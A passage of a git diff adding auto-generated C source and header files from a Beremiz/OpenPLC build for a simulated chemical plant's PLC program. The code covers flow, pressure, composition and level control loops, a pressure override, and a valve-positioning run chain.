__SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + 